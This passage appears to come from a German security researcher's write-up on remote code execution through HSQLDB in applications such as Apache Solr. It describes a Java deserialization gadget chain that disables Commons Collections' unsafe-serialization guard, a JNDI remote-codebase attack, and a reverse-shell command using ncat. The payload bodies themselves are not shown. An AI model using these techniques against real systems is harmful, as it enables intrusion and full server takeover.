Da ich damals Schwachstellen in Apache SOLR meldete und untersuchte, erinnerte ich mich daran, dass das JDBC-Stream-Beispiel HSQL verwendet, und ging daran, die Testumgebung einzurichten.

Hinweis: Leider betrifft diese Schwachstelle keine Standard-Apache-Solr-Server, da das HSQL-JAR speziell im Ordner "./server/solr-webapp/webapp/WEB-INF/lib/" abgelegt werden muss, damit der Treiber für die Stream-JDBC-Komponente erreichbar ist.

RCE per Java-Deserialisierung

Da die RCE in F5 die Funktion "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" in der Datei "tmui.jar" verwendet (ein für F5-Anwendungen spezifisches JAR), und ich ein anwendungsunabhängiges Payload entwickeln wollte, untersuchte ich, wie ich häufig verwendete JARs (z. B. Apache Commons Collections, Apache Log4J) verketten kann, um statische Funktionen aufzurufen und RCE zu erlangen.

Da mir als Erstes die CommonsCollections*-Gadgets von ysoserial in den Sinn kamen, schlug ich den Weg der Java-Deserialisierung ein, mit den folgenden Ergebnissen:

• Rufen Sie java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') auf, um die unsichere Deserialisierung zu aktivieren (Warum eine Sicherheitsvorkehrung umgehen, wenn man sie ganz entfernen kann :)) )
• Verwenden Sie public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) als Senke für unsere Eingabe, um die Funktion ObjectInputStream(x).readObject() zu erreichen
• Verwenden Sie die Funktionen public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) oder public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s), um unseren kodierten ysoserial-Payload-String in ein Byte-Array umzuwandeln, das von deserialize(byte[] objectData) verarbeitet wird

Das vollständige HSQL-Payload hat die folgende Form:

Hinweis: In diesem Fall ist das ysoserial-Payload vom Typ CommonsCollection6 und führt den Reverse-Shell-Befehl ncat -e /bin/bash 127.1 4444 aus.

Hinweis 2: Das eigenständige HSQLDB.jar ist gegenüber diesem Payload nicht anfällig, da es das Apache-Commons-Collections-JAR nicht enthält. Diese Schwachstelle funktioniert (meistens), wenn HSQL in eine Webanwendung eingebunden ist (z. B. SOLR, Liferay usw.).

Weitere Details und den Ausnutzungsprozess finden Sie in diesem PDF.

RCE per Remote-Codebase-Angriff über LDAP oder RMI

Als ich mich 2023 mit diesem Thema befasste, stieß ich auf diese großartige Präsentation Exploring JNDI Attacks von iSafeBlue, die java.lang.System.setProperty verwendete, um com.sun.jndi.ldap.object.trustURLCodebase oder com.sun.jndi.rmi.object.trustURLCodebase auf true zu setzen und anschließend einen LDAP/RMI-Lookup durchzuführen, um erfolgreich einen Java-Remote-Codebase-Angriff auszuführen.

Beispiel-HSQL-Payload:

Ergebnis:

Hinweis: Aus unbekannten Gründen funktioniert diese Schwachstelle mit der Standard-HSQLDB.jar, jedoch nicht in der HSQL + Apache-SOLR-Umgebung ¯\_(ツ)_/¯.